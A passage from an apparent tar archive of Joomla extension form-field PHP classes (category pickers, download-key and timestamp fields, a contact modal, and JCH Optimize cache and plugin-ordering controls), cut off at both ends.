jQuery('#jform_params_order_pass').focusout(checkUpdateCredentials); }); "; } protected function getCSS() { return " div.credentials_checked { padding: 10px 5px; float: left; clear: left; display: block; width: 100%; } div.credentials_checked_0 { background-color: #FFD0D0; } div.credentials_checked_1 { background-color: #D0FFD0; } a#credentials_check { } "; } protected function getInput() { // Tell the user that automatic updates are not available in Joomla 2.5: if (version_compare(JVERSION, '3.0', 'lt')) { JFactory::getApplication()->enqueueMessage(JText::_('OPENTOOLS_COMMERCIAL_UPDATES_J25'), 'warning'); } vmJsApi::jQuery(); $doc = JFactory::getDocument(); $doc->addScriptDeclaration($this->getJavaScript()); $doc->addStyleDeclaration($this->getCSS()); if ($this->value!=1) { $this->value=0; } // if ($this->value==1) { return "<input type='hidden' id=\"update_credentials_hidden_checked\" name='".$this->name."' value='".$this->value."' /><div class='credentials_checked credentials_checked_".$this->value."'><a href=\"#\" class=\"btn btn-info credentials_check\" id=\"credentials_check\" onclick=\"checkUpdateCredentials()\" >".JText::_('OPENTOOLS_CHECK_CREDENTIALS')."</a></div>"; } } sjvmcategories.php 0000644 00000010603 15234575474 0010322 0 ustar 00 <?php /** * @package SJ Search Pro for VirtueMart * @version 3.0.1 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL * @copyright (c) 2015 YouTech Company. All Rights Reserved. * @author YouTech Company http://www.smartaddons.com * */ defined('_JEXEC') or die; JFormHelper::loadFieldClass('list'); if (!class_exists('JFormFieldSjVmCategories')) { class JFormFieldSjVmCategories extends JFormFieldList { protected $categories = null; public function getInput() { if ($this->vm_require()) { $categories = $this->getCategories(); if (!count($categories)) { $input = '<div style="margin: 5px 0;float: left;font-size: 1.091em;">You have no category to select.</div>'; } else { $input = parent::getInput(); } } else { $input = '<div style="margin: 5px 0;float: left;font-size: 1.091em;">Maybe your component (Virtuemart) has been installed incorrectly. <br/>Please sure your component work properly. <br/>If you still get errors, please contact us via our <a href="http://www.smartaddons.com/forum/" target="_blank">forum</a> or <a href="http://www.smartaddons.com/tickets/" target="_blank">ticket system</a></div>'; } return $input; } protected function vm_require() { if (!class_exists('VmConfig')) { if (file_exists(JPATH_ADMINISTRATOR . '/components/com_virtuemart/helpers/config.php')) { require JPATH_ADMINISTRATOR . '/components/com_virtuemart/helpers/config.php'; } else { $this->error = 'Could not find VmConfig helper'; return false; } } if (!class_exists('VmModel')) { if (defined('JPATH_VM_ADMINISTRATOR') && file_exists(JPATH_VM_ADMINISTRATOR . '/helpers/vmmodel.php')) { require JPATH_VM_ADMINISTRATOR . '/helpers/vmmodel.php'; } else { $this->error = 'Could not find VmModel helper'; return false; } } if (defined('JPATH_VM_ADMINISTRATOR')) { JTable::addIncludePath(JPATH_VM_ADMINISTRATOR . '/tables'); } return true; } protected function getCategories() { if (is_null($this->categories)) { $this->categories = array(); // set user language // $lang = JFactory::getLanguage(); // JRequest::setVar( 'vmlang', $lang->getTag() ); VmConfig::loadJLang('com_virtuemart', true); VmConfig::loadConfig(); $categoryModel = VmModel::getModel('category'); $categoryModel->_noLimit = true; $categories = $categoryModel->getCategories(true); if (!count($categories)) return $this->categories; // render tree //usort($categories, create_function('$a, $b', 'return $a->ordering > $b->ordering;')); $_categories = array(); $_children = array(); foreach ($categories as $i => $category) { $_categories[$category->virtuemart_category_id] = & $categories[$i]; } foreach ($categories as $i => $category) { $cid = $category->virtuemart_category_id; $pid = $category->category_parent_id; if (isset($_categories[$pid])) { if (!isset($_children[$pid])) { $_children[$pid] = array(); } $_children[$pid][$cid] = $cid; } } if (!count($_categories)) return $this->categories; $__categories = array(); $__levels = array(); foreach ($_categories as $cid => $category) { $pid = $category->category_parent_id; if (!isset($_categories[$pid])) { $queue = array($cid); $_categories[$cid]->level = 1; while (count($queue) > 0) { $qid = array_shift($queue); $__categories[$qid] = & $_categories[$qid]; if (isset($_children[$qid])) { foreach ($_children[$qid] as $child) { $_categories[$child]->level = $_categories[$qid]->level + 1; array_push($queue, $child); } } } } } $this->categories = $__categories; } return $this->categories; } public function getOptions() { $options = parent::getOptions(); // sorted categories $categories = $this->getCategories(); if (count($categories)) { foreach ($categories as $category) { $multiplier = $category->level - 1; $indent = $multiplier ? str_repeat('- - ', $multiplier) : ''; $value = $category->virtuemart_category_id; $text = $indent . $category->category_name; $options[] = JHtml::_('select.option', $value, $text); } } return $options; } } } aimydownloadkey.php 0000644 00000002370 15234603202 0010454 0 ustar 00 <?php /* * Copyright (c) 2024 Aimy Extensions, Netzum Sorglos Software GmbH * * https://www.aimy-extensions.com/ * * License: GNU GPLv2, see LICENSE.txt within distribution and/or * https://www.aimy-extensions.com/software-license.html */ defined( '_JEXEC' ) or die(); require_once( __DIR__ . '/../helpers/DownloadKeyHelper.php' ); use Joomla\CMS\Form\FormField; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use AimyIndexNow\Helpers\DownloadKeyHelper; class JFormFieldAimyDownloadKey extends FormField { protected $type = 'aimydownloadkey'; protected $layout = 'joomla.form.field.text'; public function getInput() { if ( strpos( JVERSION, '3.' ) !== 0 ) { Factory::getDocument() ->addStyleDeclaration( '#fieldset-key .control-group { align-items: center; }' ); return '<div>' . Text::sprintf( 'AIMY_IN_DL_KEY_USE_DL_KEY_MANAGER', DownloadKeyHelper::getEditLink() ) . '</div>'; } Factory::getDocument() ->addStyleDeclaration( '#jform_params_dl_key,#jform_dl_key { min-width: 250px; }' ); return $this->getRenderer( $this->layout ) ->render( $this->getLayoutData() ); } protected function getLayoutData() { return array_merge( array( 'options' => array(), 'addonBefore' => '', 'addonAfter' => '', 'dirname' => '' ), parent::getLayoutData() ); } } createdby.php 0000644 00000002120 15234603671 0007221 0 ustar 00 <?php /** * @version 1.0.0 * @package Com_Sj_newsletter * @author YouTech Company <contact@ytcvn.com> * @copyright Copyright (c) 2016 YouTech Company * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_BASE') or die; jimport('joomla.form.formfield'); /** * Supports an HTML select list of categories * * @since 1.6 */ class JFormFieldCreatedby extends JFormField { /** * The form field type. * * @var string * @since 1.6 */ protected $type = 'createdby'; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 1.6 */ protected function getInput() { // Initialize variables. $html = array(); // Load user $user_id = $this->value; if ($user_id) { $user = JFactory::getUser($user_id); } else { $user = JFactory::getUser(); $html[] = '<input type="hidden" name="' . $this->name . '" value="' . $user->id . '" />'; } $html[] = "<div>" . $user->name . " (" . $user->username . ")</div>"; return implode($html); } } filemultiple.php 0000644 00000001472 15234603671 0007763 0 ustar 00 <?php /** * @version 1.0.0 * @package Com_Sj_newsletter * @author YouTech Company <contact@ytcvn.com> * @copyright Copyright (c) 2016 YouTech Company * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_BASE') or die; jimport('joomla.form.formfield'); /** * Supports an HTML select list of categories * * @since 1.6 */ class JFormFieldFileMultiple extends JFormField { /** * The form field type. * * @var string * @since 1.6 */ protected $type = 'file'; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 1.6 */ protected function getInput() { // Initialize variables. $html = '<input type="file" name="' . $this->name . '[]" multiple >'; return $html; } } foreignkey.php 0000644 00000006050 15234603671 0007427 0 ustar 00 <?php /** * @version 1.0.0 * @package Com_Sj_newsletter * @author YouTech Company <contact@ytcvn.com> * @copyright Copyright (c) 2016 YouTech Company * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_BASE') or die; jimport('joomla.form.formfield'); /** * Supports a value from an external table * * @since 1.6 */ class JFormFieldForeignKey extends JFormField { /** * The form field type. * * @var string * @since 1.6 */ protected $type = 'foreignkey'; private $input_type; private $table; private $key_field; private $value_field; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 1.6 */ protected function getInput() { // Assign field properties. // Type of input the field shows $this->input_type = $this->getAttribute('input_type'); // Database Table $this->table = $this->getAttribute('table'); // The field that the field will save on the database $this->key_field = (string) $this->getAttribute('key_field'); // The column that the field shows in the input $this->value_field = (string) $this->getAttribute('value_field'); // Initialize variables. $html = ''; // Load all the field options $db = JFactory::getDbo(); $query = $db->getQuery(true); $query ->select( array( $db->quoteName($this->key_field), $db->quoteName($this->value_field) ) ) ->from($this->table); $db->setQuery($query); $results = $db->loadObjectList(); $input_options = 'class="' . $this->getAttribute('class') . '"'; // Depends of the type of input, the field will show a type or another switch ($this->input_type) { case 'list': default: $options = array(); // Iterate through all the results foreach ($results as $result) { $options[] = JHtml::_('select.option', $result->{$this->key_field}, $result->{$this->value_field}); } $value = $this->value; // If the value is a string -> Only one result if (is_string($value)) { $value = array($value); } elseif (is_object($value)) { // If the value is an object, let's get its properties. $value = get_object_vars($value); } // If the select is multiple if ($this->multiple) { $input_options .= 'multiple="multiple"'; } else { array_unshift($options, JHtml::_('select.option', '', '')); } $html = JHtml::_('select.genericlist', $options, $this->name, $input_options, 'value', 'text', $value, $this->id); break; } return $html; } /** * Wrapper method for getting attributes from the form element * * @param string $attr_name Attribute name * @param mixed $default Optional value to return if attribute not found * * @return mixed The value of the attribute if it exists, null otherwise */ public function getAttribute($attr_name, $default = null) { if (!empty($this->element[$attr_name])) { return $this->element[$attr_name]; } else { return $default; } } } modifiedby.php 0000644 00000001726 15234603671 0007405 0 ustar 00 <?php /** * @version 1.0.0 * @package Com_Sj_newsletter * @author YouTech Company <contact@ytcvn.com> * @copyright Copyright (c) 2016 YouTech Company * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_BASE') or die; jimport('joomla.form.formfield'); /** * Supports an HTML select list of categories * * @since 1.6 */ class JFormFieldModifiedby extends JFormField { /** * The form field type. * * @var string * @since 1.6 */ protected $type = 'modifiedby'; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 1.6 */ protected function getInput() { // Initialize variables. $html = array(); $user = JFactory::getUser(); $html[] = '<input type="hidden" name="' . $this->name . '" value="' . $user->id . '" />'; $html[] = "<div>" . $user->name . " (" . $user->username . ")</div>"; return implode($html); } } submit.php 0000644 00000001731 15234603671 0006571 0 ustar 00 <?php /** * @version 1.0.0 * @package Com_Sj_newsletter * @author YouTech Company <contact@ytcvn.com> * @copyright Copyright (c) 2016 YouTech Company * @license GNU General Public License version 2 or later; see LICENSE.txt */ // Check to ensure this file is included in Joomla! defined('_JEXEC') or die('Restricted access'); jimport('joomla.form.formfield'); /** * Class JFormFieldSubmit * * @since 1.6 */ class JFormFieldSubmit extends JFormField { protected $type = 'submit'; protected $value; protected $for; /** * Get a form field markup for the input * * @return string */ public function getInput() { $this->value = $this->getAttribute('value'); return '<button id="' . $this->id . '"' . ' name="submit_' . $this->for . '"' . ' value="' . $this->value . '"' . ' title="' . JText::_('JSEARCH_FILTER_SUBMIT') . '"' . ' class="btn" style="margin-top: -10px;">' . JText::_('JSEARCH_FILTER_SUBMIT') . ' </button>'; } } timecreated.php 0000644 00000002361 15234603671 0007554 0 ustar 00 <?php /** * @version 1.0.0 * @package Com_Sj_newsletter * @author YouTech Company <contact@ytcvn.com> * @copyright Copyright (c) 2016 YouTech Company * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_BASE') or die; jimport('joomla.form.formfield'); /** * Supports an HTML select list of categories * * @since 1.6 */ class JFormFieldTimecreated extends JFormField { /** * The form field type. * * @var string * @since 1.6 */ protected $type = 'timecreated'; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 1.6 */ protected function getInput() { // Initialize variables. $html = array(); $time_created = $this->value; if (!strtotime($time_created)) { $time_created = JFactory::getDate()->toSql(); $html[] = '<input type="hidden" name="' . $this->name . '" value="' . $time_created . '" />'; } $hidden = (boolean) $this->element['hidden']; if ($hidden == null || !$hidden) { $jdate = new JDate($time_created); $pretty_date = $jdate->format(JText::_('DATE_FORMAT_LC2')); $html[] = "<div>" . $pretty_date . "</div>"; } return implode($html); } } timeupdated.php 0000644 00000002462 15234603671 0007575 0 ustar 00 <?php /** * @version 1.0.0 * @package Com_Sj_newsletter * @author YouTech Company <contact@ytcvn.com> * @copyright Copyright (c) 2016 YouTech Company * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_BASE') or die; jimport('joomla.form.formfield'); /** * Supports an HTML select list of categories * * @since 1.6 */ class JFormFieldTimeupdated extends JFormField { /** * The form field type. * * @var string * @since 1.6 */ protected $type = 'timeupdated'; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 1.6 */ protected function getInput() { // Initialize variables. $html = array(); $old_time_updated = $this->value; $hidden = (boolean) $this->element['hidden']; if ($hidden == null || !$hidden) { if (!strtotime($old_time_updated)) { $html[] = '-'; } else { $jdate = new JDate($old_time_updated); $pretty_date = $jdate->format(JText::_('DATE_FORMAT_LC2')); $html[] = "<div>" . $pretty_date . "</div>"; } } $time_updated = JFactory::getDate()->toSql(); $html[] = '<input type="hidden" name="' . $this->name . '" value="' . $time_updated . '" />'; return implode($html); } } modal/contacts.php 0000644 00000005337 15234620121 0010173 0 ustar 00 <?php /** * @package Sj Contact Ajax * @version 1.0.1 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL * @copyright (c) 2013 YouTech Company. All Rights Reserved. * @author YouTech Company http://www.smartaddons.com * */ defined('_JEXEC') or die; defined('JPATH_BASE') or die; /** * Supports a modal contact picker. * * @package Joomla.Administrator * @subpackage com_contact * @since 1.6 */ class JFormFieldModal_Contacts extends JFormField { /** * The form field type. * * @var string * @since 1.6 */ protected $type = 'Modal_Contacts'; /** * Method to get the field input markup. * * @return string The field input markup. * @since 1.6 */ protected function getInput() { // Load the javascript JHtml::_('behavior.framework'); JHtml::_('behavior.modal', 'a.modal'); // Build the script. $script = array(); $script[] = ' function jSelectChart_' . $this->id . '(id, name, object) {'; $script[] = ' document.id("' . $this->id . '_id").value = id;'; $script[] = ' document.id("' . $this->id . '_name").value = name;'; $script[] = ' SqueezeBox.close();'; $script[] = ' }'; // Add the script to the document head. JFactory::getDocument()->addScriptDeclaration(implode("\n", $script)); // Get the title of the linked chart $db = JFactory::getDBO(); $db->setQuery( 'SELECT name' . ' FROM #__contact_details' . ' WHERE id = ' . (int)$this->value ); $title = $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } if (empty($title)) { $title = JText::_('COM_CONTACT_SELECT_A_CONTACT'); } $link = 'index.php?option=com_contact&view=contacts&layout=modal&tmpl=component&function=jSelectChart_' . $this->id; $html = "\n" . '<div class="fltlft" style="display:inline-block;"> <input type="text" id="' . $this->id . '_name" value="' . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . '" disabled="disabled" /></div>'; $html .= '<div class="button2-left btn" style="display:inline-block; text-decoration:none;"> <div class="blank"><a class="modal" title="' . JText::_('COM_CONTACT_CHANGE_CONTACT_BUTTON') . '" href="' . $link . '" rel="{handler: \'iframe\', size: {x: 800, y: 450}}">' . JText::_('COM_CONTACT_CHANGE_CONTACT_BUTTON') . '</a></div></div>' . "\n"; // The active contact id field. if (0 == (int)$this->value) { $value = ''; } else { $value = (int)$this->value; } // class='required' for client side validation $class = ''; if ($this->required) { $class = ' class="required modal-value"'; } $html .= '<input type="hidden" id="' . $this->id . '_id"' . $class . ' name="' . $this->name . '" value="' . $value . '" />'; return $html; } } modal/index.html 0000644 00000000037 15234620121 0007631 0 ustar 00 <!DOCTYPE html><title></title> auto.php 0000644 00000004234 15234640275 0006240 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; require_once dirname(__FILE__) . '/compat.php'; include_once dirname(dirname(__FILE__)) . '/jchoptimize/loader.php'; abstract class JFormFieldAuto extends JFormFieldCompat { protected $bResources = FALSE; /** * * @return string */ protected function getInput() { //JCH_DEBUG ? JchPlatformProfiler::mark('beforeGetInput - ' . $this->type) : null; $aButtons = $this->getButtons(); $sField = JchOptimizeAdmin::generateIcons($aButtons); // JCH_DEBUG ? JchPlatformProfiler::mark('beforeGetInput - ' . $this->type) : null; return $sField; } /** * * @param type $oController */ protected static function display($oController) { $oUri = clone JUri::getInstance(); $oUri->delVar('jchtask'); $oUri->delVar('jchdir'); $oUri->delVar('status'); $oUri->delVar('msg'); $oUri->delVar('dir'); $oUri->delVar('cnt'); $oController->setRedirect($oUri->toString()); $oController->redirect(); } abstract protected function getButtons(); } autoorder.php 0000644 00000034361 15234640275 0007300 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { require_once dirname(__FILE__) . '/compat.php'; class JFormFieldAutoorder extends JFormFieldCompat { public $type = 'autoorder'; protected function getInput() { } } } else { include_once dirname(__FILE__) . '/auto.php'; class JFormFieldAutoorder extends JFormFieldAuto { protected $type = 'autoorder'; public function __construct($form = null) { parent::__construct($form); switch (JFactory::getApplication()->input->get('jchtask')) { case 'orderplugins': $this->orderPlugins(); ; break; case 'cleancache': $this->cleanCache(); break; case 'browsercaching': $this->leverageBrowserCaching(); break; case 'filepermissions': $this->fixFilePermissions(); break; default: break; } } protected function getInput() { $cache_path = JPATH_SITE . '/cache/plg_jch_optimize/'; if (file_exists($cache_path)) { $fi = new FilesystemIterator($cache_path, FilesystemIterator::SKIP_DOTS); $size = 0; foreach ($fi as $file) { $size += $file->getSize(); } $decimals = 2; $sz = 'BKMGTP'; $factor = (int) floor((strlen($size) - 1) / 3); $size = sprintf("%.{$decimals}f", $size / pow(1024, $factor)) . $sz[$factor]; $no_files = number_format(iterator_count($fi)); } else { $no_files = 0; $size = '0B'; } $sField = parent::getInput(); $sField .= '<div><br><div><em>' . JText::sprintf('JCH_FILES', $no_files) . '</em></div>' . '<div><em>' . JText::sprintf('JCH_SIZE', $size) . '</em></div></div>'; return $sField; } protected function getButtons() { $aButtons = array(); $aButtons[4]['link'] = JURI::getInstance()->toString() . '&jchtask=orderplugins'; $aButtons[4]['icon'] = 'fa-sort-numeric-asc'; $aButtons[4]['color'] = '#278EB1'; $aButtons[4]['text'] = JchPlatformUtility::translate('Order Plugin'); $aButtons[4]['script'] = ''; $aButtons[4]['class'] = 'enabled'; $aButtons[4]['tooltip'] = JchPlatformUtility::translate('The published order of the plugin is important! When you click on this icon, it will attempt to order the plugin correctly.'); $icons = JchOptimizeAdmin::getUtilityIcons(); array_splice($icons, 2, 0, $aButtons ); return $icons; } /** * */ public static function cleanCache($install=false) { $oJchCache = JchPlatformCache::getCacheObject(); $oController = new JControllerLegacy(); $plugin_cache = $oJchCache->clean('plg_jch_optimize'); $page_cache = $oJchCache->clean('page'); if($install) { return; } JchOptimizeHelper::clearHiddenValues(JchPlatformPlugin::getPluginParams()); if ($plugin_cache === FALSE || $page_cache === FALSE) { $oController->setMessage(JText::_('JCH_CACHECLEAN_FAILED'), 'error'); } else { $oController->setMessage(JText::_('JCH_CACHECLEAN_SUCCESS')); } self::display($oController); } /** * * @return type */ protected static function getPlugins() { $oDb = JFactory::getDbo(); $oQuery = $oDb->getQuery(TRUE); $oQuery->select($oDb->quoteName(array('extension_id', 'ordering', 'element'))) ->from($oDb->quoteName('#__extensions')) ->where(array( $oDb->quoteName('type') . ' = ' . $oDb->quote('plugin'), $oDb->quoteName('folder') . ' = ' . $oDb->quote('system') ), 'AND'); $oDb->setQuery($oQuery); return $oDb->loadAssocList('element'); } /** * */ protected function leverageBrowserCaching() { $oController = new JControllerLegacy(); $expires = JchOptimizeAdmin::leverageBrowserCaching(); if ($expires === FALSE) { $oController->setMessage(JText::_('JCH_LEVERAGEBROWSERCACHE_FAILED'), 'error'); } elseif ($expires == 'FILEDOESNTEXIST') { $oController->setMessage(JText::_('JCH_LEVERAGEBROWSERCACHE_FILEDOESNTEXIST'), 'warning'); } elseif ($expires == 'CODEALREADYINFILE') { $oController->setMessage(JText::_('JCH_LEVERAGEBROWSERCACHE_CODEALREADYINFILE'), 'notice'); } else { $oController->setMessage(JText::_('JCH_LEVERAGEBROWSERCACHE_SUCCESS')); } $this->display($oController); } /** * */ public static function fixFilePermissions($install=false) { jimport('joomla.filesystem.folder'); $wds = array( 'plugins/system/jch_optimize', 'media/plg_jchoptimize' ); $result = true; foreach ($wds as $wd) { $files = JFolder::files(JPATH_ROOT . '/' . $wd, '.', TRUE, TRUE); foreach ($files as $file) { if (!chmod($file, 0644)) { $result = false; break 2; } } $folders = JFolder::folders(JPATH_ROOT . '/' . $wd, '.', TRUE, TRUE); foreach ($folders as $folder) { if (!chmod($folder, 0755)) { $result = false; break 2; } } } if($install) { return; } $oController = new JControllerLegacy(); if ($result) { $oController->setMessage(JText::_('JCH_FIXFILEPERMISSIONS_SUCCESS')); } else { $oController->setMessage(JText::_('JCH_FIXFILEPERMISSIONS_FAIL'), 'error'); } self::display($oController); } /** * * @return type */ public static function orderPlugins($install=false) { $aOrder = array( 'jscsscontrol', 'eorisis_jquery', 'jqueryeasy', 'jch_optimize', 'plugin_googlemap3', 'cdnforjoomla', 'bigshotgoogleanalytics', 'GoogleAnalytics', 'ykhoonhtmlprotector', 'jat3', 'cache', 'homepagecache', 'jSGCache', 'jotcache', 'vmcache_last' ); $aPlugins = self::getPlugins(); $aLowerPlugins = array_values(array_filter($aOrder, function($aVal) use ($aPlugins) { return (array_key_exists($aVal, $aPlugins)); } )); $iNoPlugins = count($aPlugins); $iNoLowerPlugins = count($aLowerPlugins); $iBaseOrder = $iNoPlugins - $iNoLowerPlugins; $cid = array(); $order = array(); foreach ($aPlugins as $key => $value) { if (in_array($key, $aLowerPlugins)) { $value['ordering'] = $iBaseOrder + 1 + array_search($key, $aLowerPlugins); } elseif ($value['ordering'] >= $iBaseOrder) { $value['ordering'] = $iBaseOrder - 1; } $cid[] = $value['extension_id']; $order[] = $value['ordering']; } JArrayHelper::toInteger($cid); JArrayHelper::toInteger($order); $aOrder = array(); $aOrder['cid'] = $cid; $aOrder['order'] = $order; $oController = new JControllerLegacy; $oController->addModelPath(JPATH_ADMINISTRATOR . '/components/com_plugins/models', 'PluginsModel'); $oPluginModel = $oController->getModel('Plugin', 'PluginsModel'); $saved = $oPluginModel->saveorder($aOrder['cid'], $aOrder['order']); if($install) { return; } if ($saved === FALSE) { $oController->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_REORDER_FAILED', $oPluginModel->getError()), 'error'); } else { $oController->setMessage(JText::_('JLIB_APPLICATION_SUCCESS_ORDERING_SAVED')); } self::display($oController); } } } autosettings.php 0000644 00000003115 15234640275 0010016 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { require_once dirname(__FILE__) . '/compat.php'; class JFormFieldAutosettings extends JFormFieldCompat { public $type = 'autosettings'; protected function getInput() { } } } else { include_once dirname(__FILE__) . '/auto.php'; class JFormFieldAutosettings extends JFormFieldAuto { protected $type = 'autosettings'; protected function getButtons() { return JchOptimizeAdmin::getSettingsIcons(); } } } compat.php 0000644 00000003417 15234640275 0006555 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(JVERSION, '3.0', '>=')) { abstract class JFormFieldcompat extends JFormField { public function setup(SimpleXMLElement $element, $value, $group = NULL) { return parent::setup($element, $value, $group); } } } else { JFormHelper::loadFieldClass('MenuItem'); abstract class JFormFieldcompat extends JFormField { public function setup(&$element, $value, $group = NULL) { if (version_compare(PHP_VERSION, '5.3.0', '>=')) { return parent::setup($element, $value, $group); } else { return FALSE; } } } } exclude.php 0000644 00000020424 15234640275 0006720 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; JFormHelper::loadFieldClass('Textarea'); if (version_compare(JVERSION, '3.0', '>=')) { abstract class JchTextarea extends JFormFieldTextarea { protected $aOptions = array(); public function setup(SimpleXMLElement $element, $value, $group = NULL) { $this->getParams(); JCH_DEBUG ? JchPlatformProfiler::mark('beforeSetup' . $this->type) : null; $this->getAdminObject(); $this->setOptions(); $value = $this->castValue($value); JCH_DEBUG ? JchPlatformProfiler::mark('afterSetup' . $this->type) : null; return parent::setup($element, $value, $group); } protected function castValue($value) { } } } else { abstract class JchTextarea extends JFormFieldTextarea { protected $aOptions = array(); public function setup(&$element, $value, $group = NULL) { $this->getParams(); JCH_DEBUG ? JchPlatformProfiler::mark('beforeSetup - ' . $this->type) : null; $this->getAdminObject(); $this->setOptions(); $value = $this->castValue($value); JCH_DEBUG ? JchPlatformProfiler::mark('afterSetup - ' . $this->type) : null; return parent::setup($element, $value, $group); } protected function castValue($value) { } } } abstract class JFormFieldExclude extends JchTextarea { protected static $oParams = null; protected static $oParser = null; /** * * @param type $value * @return type */ protected function castValue($value) { // if (is_array($value) && $GLOBALS['bTextArea']) // { // $value = implode(', ', $value); // } if (!is_array($value)/* && !$GLOBALS['bTextArea'] */) { $value = JchOptimizeHelper::getArray($value); } return $value; } /** * * @return type */ protected function getParams() { if (!isset($GLOBALS['oJchParams'])) { $GLOBALS['oJchParams'] = JchPlatformPlugin::getPluginParams(); } return $GLOBALS['oJchParams']; } /** * * @return type */ public function getOriginalHtml() { JCH_DEBUG ? JchPlatformProfiler::mark('beforeGetHtml') : null; try { $oFileRetriever = JchOptimizeFileRetriever::getInstance(); $response = $oFileRetriever->getFileContents($this->getMenuUrl()); if ($oFileRetriever->response_code != 200) { throw new Exception('Failed fetching front end HTML with response code ' . $oFileRetriever->response_code); } JCH_DEBUG ? JchPlatformProfiler::mark('afterGetHtml') : null; return $response; } catch (Exception $e) { JchOptimizeLogger::log($this->getMenuUrl() . ': ' . $e->getMessage(), $this->getParams()); JCH_DEBUG ? JchPlatformProfiler::mark('afterGetHtml') : null; throw new RunTimeException(JText::_('JCH_REFRESH_FRONT_END')); } } /** * * @return string */ protected function getMenuUrl() { $oParams = $this->getParams(); $iMenuLinkId = $oParams->get('jchmenu'); if (!$iMenuLinkId) { require_once dirname(__FILE__) . '/jchmenuitem.php'; $iMenuLinkId = JFormFieldJchmenuitem::getHomePageLink(); } $app = JFactory::getApplication(); $oMenu = $app->getMenu('site'); $oMenuItem = $oMenu->getItem($iMenuLinkId); $oUri = clone JUri::getInstance(); $router = $app->getRouter('site', array('mode' => $app->get('sef'))); $uri = $router->build($oMenuItem->link . '&Itemid=' . $oMenuItem->id . '&jchbackend=2'); $uri->setScheme($oUri->getScheme()); $uri->setHost($oUri->getHost()); $uri->setPort($oUri->getPort()); $sMenuUrl = str_replace('/administrator', '', $uri->toString()); return $sMenuUrl; } /** * * @return type */ protected function setOptions() { $this->aOptions = $this->getFieldOptions(); } /** * * @return type */ protected function getInput() { $attributes = 'class="inputbox chzn-custom-value input-xlarge" multiple="multiple" size="5" data-custom_group_text="Custom Position" data-no_results_text="Add custom item"'; $sField = JHTML::_('select.genericlist', $this->aOptions, $this->name . '[]', $attributes, 'id', 'name', $this->value, $this->id) . '<button type="button" onclick="addJchOption(\'jform_params_' . $this->jch_params . '\')">' . JText::_('JCH_ADD_ITEM') . '</button>'; return $sField; } /** * * @param type $oParams * @return type */ protected function getAdminObject() { if 